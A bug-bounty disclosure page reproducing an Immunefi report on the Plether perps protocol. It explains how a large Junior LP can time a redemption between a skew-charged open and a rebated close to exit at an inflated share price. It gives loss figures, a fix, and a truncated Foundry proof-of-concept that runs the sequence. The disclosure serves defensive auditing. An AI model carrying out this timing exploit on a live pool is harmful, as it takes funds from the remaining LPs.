Skip to content
Business logic Audit finding Advanced

A skew charge booked as Junior equity at open is refunded at close, so a large Junior LP can exit at an inflated share price

A skew charge paid when a trader opens a position is booked immediately as distributable Junior equity, but the same position can reclaim it as a rebate when it closes, and terminal NAV records no liability for that reversal. A large Junior LP can queue a redemption, open a skew-moving position just before an epoch settlement so its exit is priced on the inflated principal, then close afterwards so the rebate is funded by the remaining Junior LPs.

humbleservant Follow

Originally disclosed on Immunefi

Critical View original
  • Disclosed after under an hour

#97933 [SC-Critical] A skew charge booked as Junior equity at open is refunded at close, so a large Junior LP can exit at an inflated share price

Submitted on Nov 3rd 2026 at 23:50:02 UTC by @humbleservant for Audit Competition | Plether

Description

Brief/Intro

When a trader's open moves skew away from balance, the skew charge (VPI) it pays is booked straight into Junior principal at the next reconcile, and Junior redemptions funded at that settlement are priced on it. The same position takes that charge back as a rebate when it closes and moves skew back, and terminal NAV records no liability for that pending reversal. A party that holds a large share of the Junior tranche and trades the position can open just before an epoch boundary, have its own Junior redemption funded at the inflated price, and close right after: the rebate is then paid out of a pool that only the remaining Junior LPs own. At the release configuration with live oracle confidence, a holder of 80% of Junior nets about 921 USDG per event while the other Junior LPs lose about 1,398 USDG, and four events in ten hours move 3,694 USDG to the holder and cost the remaining Junior LPs 5,601 USDG, 1.4% of their 400,000 USDG. I found this while comparing how the protocol protects LP pricing against negative VPI with how it treats positive VPI.

Vulnerability Details

1. The open's charge becomes distributable Junior equity at once

The open settlement sends the trade cost, net of the protocol fee, to the pool as revenue with the cash already arrived (CfdEngineSettlementSidecar.sol L446-464):

Solidity
if (delta.tradeCostAssets > 0) {
    uint256 poolCashInflowAssets = uint256(delta.tradeCostAssets) - protocolFeeCreditedAssets;
    if (poolCashInflowAssets > 0) {
        IHousePool(host.pool())
            .recordClaimantInflow(
                poolCashInflowAssets,
                IHousePool.ClaimantInflowKind.Revenue,
                IHousePool.ClaimantInflowCashMode.CashArrived
            );
    }
}

HousePool.recordClaimantInflow adds it to accountedAssets (L640-642). The next reconcile treats it as waterfall revenue and distributes it into Junior principal (HousePoolReconcilePlanLib.sol L92-98), and the Junior redemption phase of that same settlement prices burned shares on that principal (HousePool.sol L840-841: juniorPhase.pricingPrincipal = juniorPrincipal).

2. The same charge is refundable to the same position

On close, CloseAccountingLib charges or rebates VPI on the skew the close moves (L103-111) and clamps only so that the account's lifetime VPI never goes below zero (L116-118):

Solidity
if (state.proportionalAccrualAssets + state.vpiDeltaAssets < 0) {
    state.vpiDeltaAssets = -state.proportionalAccrualAssets;
}

A close that moves skew back to where the open found it therefore rebates up to the full charge that position paid. The rebate is paid from free pool cash (CfdEnginePlanLib.sol L972-977; CfdEngineSettlementSidecar.sol L442-444, payOut).

3. Terminal NAV carries no liability for that reversal

ACCOUNTING_SPEC.md L1064-1066: "anticipated carry, VPI, fees, spreads, and other action economics stay outside terminal K". So between the open and the close, Junior principal includes the charge in full while nothing records that the same position can take it back. My first test shows signed terminal LP equity rising by exactly the charge, 2,398.401065 USDG, at the open, with the terminal price delta unchanged.

4. The sequence

  1. The large Junior holder queues a redemption for the next epoch (requests close 5 minutes before the boundary).
  2. About two minutes before the boundary its trading account opens a position that moves skew away from balance, paying charge C into the pool.
  3. A keeper settles the epoch. Reconcile assigns C to Junior principal, and the holder's redemption is funded at a share price that includes C.
  4. Right after settlement the position closes, moving skew back. The clamp lets the close rebate C, which the pool pays from cash that now belongs to the Junior LPs who did not exit.

The holder keeps its pro-rata share of C as part of its exit. The trading account gets C back, less two execution fees. The remaining Junior LPs fund the rebate. My second test isolates the timing. With the large LP's exit funded after the close instead, both cohorts end with the same per-share result (within 1 atom). Funded between the open and the close, the same round trip moves +1,534.27 USDG to the large LP and -1,530.45 USDG from the remaining Junior LPs.

5. Why the design documents do not cover this

  • The protocol already prevents exactly this for the negative side. WHITEPAPER.md L887-888: "The reserve is excluded from the terminal price curve, so LPs cannot withdraw it as marked equity before the matching position obligation settles." A positive charge that the same position can take back is the mirror case, and it has no matching protection.
  • The collection-time ownership policy in ACCOUNTING_SPEC.md L731-740 is written for carry: debt the trader owes, collected once. A skew charge is different. It is refundable to the payer, and the payer decides when.
  • The clamp's own comment says it exists to prevent "LP sandwich attacks" (CloseAccountingLib.sol L112-115). WHITEPAPER.md L1793 says synchronized epoch pricing "removes the entry/exit NAV mismatch", and SECURITY.md L859-860 promises that LPs do not inherit old trader obligations at a different NAV. Here an exit is priced on value that an open position's obligation is about to take back.
  • This is not the public AI-scan item SCAN-31. That item enlarges a rebate beyond the normal VPI curve by shrinking pool depth around a close. Here the rebate stays on the normal curve, and the value moves through the redemption price, so fixing SCAN-31's depth denominator leaves this intact. In my timing comparison, 1,532.35 USDG of the transfer goes through the redemption price and only 1.91 USDG through the trading leg's rebate.

6. Conditions, stated plainly

  • The holder needs a large share of the Junior tranche: with 1 bp oracle confidence and small price moves between the open, the settlement and the close, the holder's net turns positive at about 42% of Junior (my fourth test: -292.17 USDG at 30%, -49.46 at 40%, +71.89 at 45%, +193.24 at 50%, +435.95 at 60% and +921.37 at 80%).
  • The Junior exit covenant caps a Junior redemption at J - (X + R) / 4 (HousePool.sol L1205-1216, _juniorSettlementCapacity with the 80% Senior share cap), so Senior must be at most about 70% of the pool for a large Junior exit to fund.
  • The open needs skew headroom on the side it adds to, and the market must be live (no frozen window).
  • Each event needs a queued exit, the round trip and a re-deposit, so one wallet repeats it about once every three epochs.

7. Suggested fix

Keep positive accrued VPI of open positions out of distributable tranche equity until the position closes, the same way the negative-VPI reserve is kept out of the terminal price curve. Equivalently, count the open positions' refundable accrued VPI as a liability in terminal NAV and in the redemption pricing input.

Impact Details

Impact: "Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield". The Junior LPs who do not exit end each event with less principal than the same timeline without the round trip, and the exiting holder ends with more, measured as settled USDG from claimRedeem.

Measured on the real contracts at the release configuration (Senior 1,000,000 USDG, Junior 2,000,000 USDG, a 1,200,000 USDG LONG at the skew cap, charge 2,398.40 USDG, 1 bp oracle confidence, both mirrored price paths):

Junior share of the large LP Large LP net per event (mean of both paths) Remaining Junior LPs per event
40% -49.46 USDG -430.37 USDG
50% +193.24 USDG -672.76 USDG
80% +921.37 USDG -1,398.06 USDG

Repeated on a flat book at 80% (exits at 10:00, 13:00, 16:00 and 19:00; each cycle queues the exit, runs the round trip and re-deposits at a fair price):

Cycle Large LP net so far (mean) Remaining Junior LPs so far (mean)
1 +921.37 USDG -1,398.06 USDG
2 +1,844.20 USDG -2,797.59 USDG
3 +2,768.51 USDG -4,198.59 USDG
4 +3,694.28 USDG -5,601.05 USDG (-1.40% of 400,000)
  • Senior is unchanged in every run. Every paired run conserves value exactly.
  • Each event is bounded by the holder's pro-rata share of its own refundable charge, and repeats once the holder re-deposits.
  • The code is not deployed, so I understand funds at risk are scaled to the program's minimum. The conditions in section 6 are the honest limits on who can run this: a holder of a large Junior share, with Senior at most about 70% of the pool.

References

Proof of Concept

Proof of Concept

Save the file below as packages/perps/test/poc/RefundableSkewChargeLpExit.t.sol in a checkout of commit a82d4fefb02768e5b3bddcc97dee371eee24fea8. It extends the repo's BasePerpTest, so the oracle, Router, execution sidecars, engine, clearinghouse, HousePool and both TrancheVaults are the real contracts, with MockUSDG and MockPyth as in the repo's tests. It installs the release configuration from DEPLOYMENT.md (constructor values through the fixture's risk-parameter hook, the rest through the owner's documented 72-hour setters) and reads every value back. Every trade is a trader-signed commitOrder executed by an unprivileged keeper with Pyth payloads, epochs settle through the Router, every LP result is settled USDG from claimRedeem measured against a snapshot of the same timeline without the trades, and every paired run asserts exact conservation. No attack step pranks a privileged role or writes storage.

The five tests:

  1. test_openBooksRefundableChargeAsDistributableEquity: LP equity rises by exactly the charge at the open with no terminal liability, and the close rebates it (net of the close fee) to the trading account.
  2. test_control_exitAfterTheClose_noTransfer: with the exit after the close the cohorts end equal per share; with the exit between the open and the close the large LP gains and the remaining LPs lose.
  3. test_exitBetweenOpenAndClose_realisticConfidenceAndPricePath: 1 bp oracle confidence (adverse fill asserted on both legs) and a small price path in both directions.
  4. test_breakEvenShare: the same event at 30% to 80% of Junior.
  5. test_repeatsEveryCycle_multiCycleFlatBook: four consecutive cycles.
Solidity
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.8.35;

import {BasePerpTest} from "../perps/BasePerpTest.sol";
import {SafeCast} from "@openzeppelin/contracts/utils/math/SafeCast.sol";
import {CfdTypes} from "@plether/perps/CfdTypes.sol";
import {OrderRouter} from "@plether/perps/OrderRouter.sol";
import {OrderV3Types} from "@plether/perps/OrderV3Types.sol";
import {TrancheVault} from "@plether/perps/TrancheVault.sol";
import {HousePoolEngineViewTypes} from "@plether/perps/interfaces/HousePoolEngineViewTypes.sol";
import {IHousePool} from "@plether/perps/interfaces/IHousePool.sol";
import {IOrderRouterAdminHost} from "@plether/perps/interfaces/IOrderRouterAdminHost.sol";
import {Vm} from "forge-std/Vm.sol";

/// @notice A skew charge C paid by a skew-increasing open is booked at once as distributable Junior equity, although
///         the same position's skew-reducing close pays it back as a rebate. A Junior redemption funded at an epoch
///         settlement between that open and that close is priced at a NAV that still contains C, and the close then
///         pays C, less the close fee, back to the trading account out of the Junior LPs who stayed. An LP that holds
///         a share f of Junior and also trades the position takes f x C out through its exit and gets the charge back
///         through the rebate: it nets f x C less the two execution fees, carry and the open's keeper bounty, while
///         the Junior LPs who stay lose f x C less the close fee and carry.
/// @dev Release parameters from DEPLOYMENT.md ("Initial release parameters") are installed through the `_riskParams()`
///      constructor hook and the owner's 72-hour setters, then read back and asserted. After setUp every step is an
///      unprivileged call on a production entry point: the trader's V3 `commitOrder`, a keeper's `executeOrder`,
///      `updateMarkPrice` and `settleLpEpoch` on the Router, and each LP's own vault requests and claims. LP outcomes
///      are settled USDG (balance change across `claimRedeem`), every case is paired with a snapshot control that runs
///      the same LP timeline without the two trades, and every pair conserves USDG exactly.
///      Actors: `lpWhale` (large Junior LP, also owns the `trader` account), `lpOther` (remaining Junior LP),
///      `bystander` (Senior LP), `keeper` (unprivileged executor).
contract RefundableSkewChargeLpExitTest is BasePerpTest {

    uint256 internal constant PRICE = 1e8;
    /// @dev Monday 2024-03-11 06:00 UTC, one week after the fixture's setup time (also a Monday, 06:00 UTC).
    uint256 internal constant MONDAY = 1_710_136_800;
    uint256 internal constant JUNIOR_TOTAL = 2_000_000e6;
    uint256 internal constant SENIOR_TOTAL = 1_000_000e6;
    uint256 internal constant WHALE_80 = 1_600_000e6;
    /// @dev 1,200,000 USDG notional at 1.00, just under the 0.4 skew cap on 3,002,000 USDG of depth (both tranches plus
    ///      the fixture's two 1,000 USDG seeds).
    uint256 internal constant TRADE_SIZE = 1_200_000e18;
    uint256 internal constant MARGIN = 20_000e6;
    uint256 internal constant TRADER_DEPOSIT = 50_000e6;
    /// @dev 4 bps execution fee on 1,200,000 USDG notional.
    uint256 internal constant FEE = 480e6;
    /// @dev Pyth confidence of 1 bp on a 1.00 price (expo -8) and the adverse execution shift it causes:
    ///      confidence x 2,500 / 10,000 = 0.25 bp.
    uint64 internal constant CONF_1BP = 10_000;
    uint256 internal constant SHIFT_1BP = 2500;

    bytes32 internal constant CARRY_TOPIC = keccak256("CarryRealized(address,uint256,uint256,uint256,uint256)");
    bytes32 internal constant REBATE_TOPIC = keccak256("ActionRebateSettled(address,uint256,uint256,uint256)");
    bytes32 internal constant CLOSED_TOPIC = keccak256("PositionClosed(address,uint8,uint256,uint256,int256)");

    address internal keeper;
    address internal lpWhale;
    address internal lpOther;
    address internal bystander;
    address internal trader;

    /// @dev Neutral basket price at the open, the epoch settlement, the close and every later mark, plus the Pyth
    ///      confidence applied to order executions.
    struct Path {
        uint256 pOpen;
        uint256 pSettle;
        uint256 pClose;
        uint256 pLater;
        uint64 conf;
    }

    /// @dev One run of up to four exit cycles. Index k is cycle k.
    struct Run {
        uint256[4] whaleIn; // USDG the large LP holds in Junior when the cycle starts
        uint256[4] whaleOut; // settled USDG from the large LP's exit in the cycle
        uint256[4] traderOut; // settled USDG the trading account withdraws after the close
        uint256[4] otherOut; // settled USDG the remaining Junior LP receives exiting one epoch after the cycle
        uint256[4] seniorOut; // settled USDG the Senior LP receives at that same epoch
        int256[4] tail; // treasury, keeper and trading-account clearinghouse balances plus pool and vault USDG
        uint256 whaleShares; // Junior shares the large LP redeems in the first cycle
        uint256 otherShares; // Junior shares the remaining LP redeems after the first cycle
        int256 charge; // lifetime skew charge of the first open
        uint256 entryPrice; // execution price of the first open
        uint256 closePrice; // execution price of the first close
        uint256 endTime; // settlement time of the last exit read
    }

    struct CloseLog {
        uint256 assessed;
        uint256 paid;
        uint256 waived;
        uint256 carry;
        uint256 price;
        int256 pnl;
    }

    function setUp() public override {
        super.setUp();
        keeper = makeAddr("keeper");
        lpWhale = makeAddr("lpWhale");
        lpOther = makeAddr("lpOther");
        bystander = makeAddr("bystander");
        trader = makeAddr("trader");
        _applyReleaseConfig();
        vm.warp(MONDAY);
        assertFalse(engine.isFadWindow(), "Monday is outside FAD");
        assertFalse(engine.isOracleFrozen(), "Monday is outside the frozen window");
        _assertReleaseConfig();
    }

    // ---------------- Release configuration ----------------

    function _riskParams() internal pure override returns (CfdTypes.RiskParams memory) {
        return CfdTypes.RiskParams({
            vpiFactor: 0.01e18,
            maxSkewRatio: 0.4e18,
            maintMarginBps: 10,
            initMarginBps: 20,
            fadMarginBps: 300,
            baseCarryBps: 500,
            minBountyAssets: 1e6,
            bountyBps: 10,
            keeperShareBps: 5000,
            protocolShareBps: 0
        });
    }

    /// @dev The tranches are funded by named LPs through the asynchronous deposit path, not by the fixture.
    function _initialJuniorDeposit() internal pure override returns (uint256) {
        return 0;
    }

    function _applyReleaseConfig() internal {
        IHousePool.PoolConfig memory poolConfig = _currentPoolConfig();
        poolConfig.maxSeniorExposureAssets = 40_000_000e6;
        poolConfig.maxSeniorShareBps = 8000;
        pool.proposePoolConfig(poolConfig);
        IOrderRouterAdminHost.RouterConfig memory routerConfig = _routerConfig();
        routerConfig.minOpenNotionalAssets = 1000e6;
        routerConfig.adverseConfidenceMultiplierBps = 2500;
        routerAdmin.proposeRouterConfig(routerConfig);
        uint256 activation = pool.poolConfigActivationTime();
        if (routerAdmin.routerConfigActivationTime() > activation) {
            activation = routerAdmin.routerConfigActivationTime();
        }
        vm.warp(activation);
        pool.finalizePoolConfig();
        routerAdmin.finalizeRouterConfig();
    }

    function _assertReleaseConfig() internal view {
        CfdTypes.RiskParams memory rp = _engineRiskConfig().riskParams;
        assertEq(rp.vpiFactor, 0.01e18, "vpiFactor");
        assertEq(rp.maxSkewRatio, 0.4e18, "maxSkewRatio");
        assertEq(rp.maintMarginBps, 10, "maintMarginBps");
        assertEq(rp.initMarginBps, 20, "initMarginBps");
        assertEq(rp.fadMarginBps, 300, "fadMarginBps");
        assertEq(rp.baseCarryBps, 500, "baseCarryBps");
        assertEq(rp.minBountyAssets, 1e6, "minBountyAssets");
        assertEq(rp.bountyBps, 10, "bountyBps");
        assertEq(rp.keeperShareBps, 5000, "keeperShareBps");
        assertEq(rp.protocolShareBps, 0, "protocolShareBps");
        assertEq(engine.executionFeeBps(), 4, "executionFeeBps");
        assertEq(engine.settlementBufferBps(), 25, "settlementBufferBps");
        assertEq(engine.frozenCloseSpreadBps(), 50, "frozenCloseSpreadBps");
        assertEq(engine.CAP_PRICE(), 2e8, "CAP_PRICE");
        assertEq(router.minOpenNotionalAssets(), 1000e6, "minOpenNotionalAssets");
        assertEq(router.pletherOracle().adverseConfidenceMultiplierBps(), 2500, "adverseConfidenceMultiplierBps");
        assertEq(router.pletherOracle().basketMaxConfidenceRatioBps(), 10, "basketMaxConfidenceRatioBps");
        assertEq(router.maxPendingOrders(), 5, "maxPendingOrders");
        assertEq(router.positionProtectionTriggerBountyAssets(), 200_000, "positionProtectionTriggerBountyAssets");
        assertEq(pool.maxSeniorExposureAssets(), 40_000_000e6, "maxSeniorExposureAssets");
        assertEq(pool.maxSeniorShareBps(), 8000, "maxSeniorShareBps");
        assertEq(pool.seniorRateBps(), 800, "seniorRateBps (HousePool constructor default)");
        assertEq(pool.markStalenessLimit(), 60, "markStalenessLimit (HousePool constructor default)");
        assertEq(pool.juniorFrozenLpFeeBps(), 75, "juniorFrozenLpFeeBps");
        assertEq(pool.seniorFrozenLpFeeBps(), 25, "seniorFrozenLpFeeBps");
    }

    // ---------------- Production Router path ----------------

    /// @dev via_ir folds repeated TIMESTAMP reads across vm.warp, so the clock is read through the cheatcode.
    function _warpTo(
        uint256 timestamp
    ) internal {
        if (vm.getBlockTimestamp() < timestamp) {
            vm.warp(timestamp);
        }
    }

    /// @dev The fixture's Pyth update (one block and one second later, publish time after the pending commit) with a
    ///      per-feed confidence on the order-execution price. Marks and LP settlements use the neutral encoded price.
    function _pyth(
        uint256 price,
        uint64 conf
    ) internal returns (bytes[] memory updateData) {
        vm.roll(vm.getBlockNumber() + 1);
        vm.warp(vm.getBlockTimestamp() + 1);
        uint256 publishTime = _mockHistoricalPublishTime();
        baseMockPyth.setAllUniquePrices(
            _basePythFeedIds(),
            SafeCast.toInt64(SafeCast.toInt256(price)),
            conf,
            int32(-8),
            publishTime,
            publishTime == 0 ? 0 : publishTime - 1
        );
        updateData = new bytes[](1);
        updateData[0] = abi.encode(price);
    }

    function _mark(
        uint256 price
    ) internal {
        bytes[] memory updateData = _pyth(price, 0);
        vm.prank(keeper);
        router.updateMarkPrice(updateData);
    }

    function _settle(
        uint256 price
    ) internal {
        bytes[] memory updateData = _pyth(price, 0);
        vm.prank(keeper);
        router.settleLpEpoch(updateData);
    }

    function _fundTradingAccount() internal {
        settlementToken.mint(trader, TRADER_DEPOSIT);
        vm.startPrank(trader);
        settlementToken.approve(address(clearinghouse), TRADER_DEPOSIT);
        clearinghouse.deposit(trader, TRADER_DEPOSIT);
        vm.stopPrank();
    }

    /// @dev A V3 LONG request with the trader's loosest limits; the protocol's own checks are untouched.
    function _request(
        uint256 margin,
        bool isClose
    ) internal view returns (OrderV3Types.OrderRequest memory request) {
        uint256 window = router.maxExecutionWindowSeconds();
        request.clientOrderId = bytes32(uint256(router.nextCommitId()));
        request.side = CfdTypes.Side.LONG;
        request.sizeDelta = TRADE_SIZE;
        request.marginDelta = margin;
        request.targetPrice = isClose ? type(uint256).max : 1;
        request.isClose = isClose;
        request.bounds = OrderV3Types.ExecutionBounds({
            submitBy: uint64(vm.getBlockTimestamp() + window),
            executionWindowSeconds: uint32(window),
            allowedExecutionModes: 7,
            expectedConfigHash: router.lifecycleBook().currentExecutionConfigHash(),
            maxExecutionBountyAssets: type(uint256).max,
            maxExecutionNotionalAssets: type(uint256).max,
            maxGrossAccountDebitAssets: type(uint256).max,
            maxActionChargeAssets: type(uint256).max,
            maxExplicitFeesAssets: type(uint256).max,
            maxPostPositionSize: type(uint256).max,
            minPostSettlementBalanceAssets: 0,
            minPostPositionEquityAssets: 0,
            maxPostLeverageBps: type(uint32).max
        });
    }

    /// @dev The trader commits; an unprivileged keeper executes the queue head with a fresh Pyth payload.
    function _tradeLong(
        uint256 margin,
        bool isClose,
        uint256 price,
        uint64 conf
    ) internal {
        OrderV3Types.OrderRequest memory request = _request(margin, isClose);
        vm.prank(trader);
        uint64 orderId = OrderRouter(address(router)).commitOrder(request);
        bytes[] memory updateData = _pyth(price, conf);
        vm.prank(keeper);
        OrderV3Types.ExecutionResult memory result = router.executeOrder(orderId, updateData);
        assertEq(uint8(result.status), uint8(OrderV3Types.LifecycleStatus.Executed), "order executed");
    }

    function _withdrawAll() internal returns (uint256 out) {
        uint256 free = clearinghouse.getAccountAssetBuckets(trader).freeSettlementAssets;
        uint256 before = settlementToken.balanceOf(trader);
        vm.prank(trader);
        clearinghouse.withdraw(trader, free);
        out = settlementToken.balanceOf(trader) - before;
        assertEq(clearinghouse.balanceAssets(trader), 0, "nothing stays in the trading account");
    }

    // ---------------- LP lifecycle ----------------

    function _deposit(
        TrancheVault vault,
        address lp,
        uint256 amount,
        bool mint
    ) internal returns (uint256 requestId) {
        if (mint) {
            settlementToken.mint(lp, amount);
        }
        vm.startPrank(lp);
        settlementToken.approve(address(vault), amount);
        requestId = vault.requestDeposit(amount, lp, lp);
        vm.stopPrank();
    }

    function _claimDeposit(
        TrancheVault vault,
        address lp,
        uint256 requestId
    ) internal {
        uint256 assets = vault.claimableDepositRequest(requestId, lp);
        assertGt(assets, 0, "deposit activated");
        vm.prank(lp);
        vault.claimDeposit(requestId, assets, lp, lp);
    }

    function _requestExit(
        TrancheVault vault,
        address lp
    ) internal returns (uint256 requestId, uint256 shares) {
        shares = vault.balanceOf(lp);
        vm.prank(lp);
        requestId = vault.requestRedeem(shares, lp, lp);
    }

    function _claimExit(
        TrancheVault vault,
        address lp,
        uint256 requestId
    ) internal returns (uint256 assets) {
        uint256 shares = vault.claimableRedeemRequest(requestId, lp);
        assertGt(shares, 0, "redemption funded");
        uint256 before = settlementToken.balanceOf(lp);
        vm.prank(lp);
        vault.claimRedeem(requestId, shares, lp, lp);
        assets = settlementToken.balanceOf(lp) - before;
    }

    /// @dev Junior requests made at 06:00 activate at 07:00; the Senior request (capacity bounded by active Junior) is
    ///      made at 07:00 and activates at 08:00. A keeper settles each epoch through the Router.
    function _seed(
        uint256 whaleJunior
    ) internal {
        uint256 whaleId = _deposit(juniorVault, lpWhale, whaleJunior, true);
        uint256 otherId = _deposit(juniorVault, lpOther, JUNIOR_TOTAL - whaleJunior, true);
        _warpTo(pool.lpEpochStart(otherId));
        _settle(PRICE);
        _claimDeposit(juniorVault, lpWhale, whaleId);
        _claimDeposit(juniorVault, lpOther, otherId);
        uint256 seniorId = _deposit(seniorVault, bystander, SENIOR_TOTAL, true);
        _warpTo(pool.lpEpochStart(seniorId));
        _settle(PRICE);
        _claimDeposit(seniorVault, bystander, seniorId);
    }

    // ---------------- Reads ----------------

    /// @dev Signed terminal LP equity exactly as LP settlement prices it: physical assets - trader claims + terminal
    ///      price delta, and the terminal price delta on its own.
    function _equity() internal view returns (int256 equity, int256 priceDelta) {
        HousePoolEngineViewTypes.HousePoolInputSnapshot memory s =
            engineProtocolLens.getHousePoolInputSnapshot(pool.markStalenessLimit());
        priceDelta = s.terminalLpPriceDeltaAssets;
        equity = int256(s.physicalAssets) - int25

The original report as published on Immunefi, by humbleservant. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the protocol books refundable accrued VPI from open positions as distributable tranche equity and omits it as a liability in terminal NAV and redemption pricing, unlike the negative-VPI reserve which is excluded.

Impact

The exiting holder gains while the remaining Junior LPs lose; at 80% of Junior the holder nets about 921 USDG per event and the others lose about 1,398 USDG, though the code is not deployed and the holder needs a large Junior share with Senior at most about 70% of the pool.

What the attacker needed

Large share of Junior tranche (~42%+); Senior at most ~70% of pool; skew headroom on the side added to; market live, no frozen window

The fix

Positive accrued VPI of open positions should be kept out of distributable tranche equity until the position closes, or counted as a liability in terminal NAV and redemption pricing.

How it was found

  1. The large Junior holder queues a redemption for the next epoch, closing requests shortly before the boundary.
  2. Shortly before the boundary the holder's trading account opens a position that moves skew away from balance, paying the charge into the pool.
  3. A keeper settles the epoch; reconcile assigns the charge to Junior principal and the holder's redemption is funded at the inflated share price.
  4. Right after settlement the position closes, moving skew back, and the clamp lets the close rebate the charge from pool cash.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A pool of investors (the Junior tranche) shares profit and loss. When a trader opens a bet, they pay a fee-like charge that is added to the pool's value straight away, which makes each investor's share look worth more. But that same trader can get the charge back when they close the bet, and nothing in the accounts sets money aside for that refund. So an investor who owns most of the pool can sell out at the temporarily inflated price, then let the refund be paid by the investors who stayed.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by humbleservant

View all

5 more disclosed reports, best first.

More from Plether

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.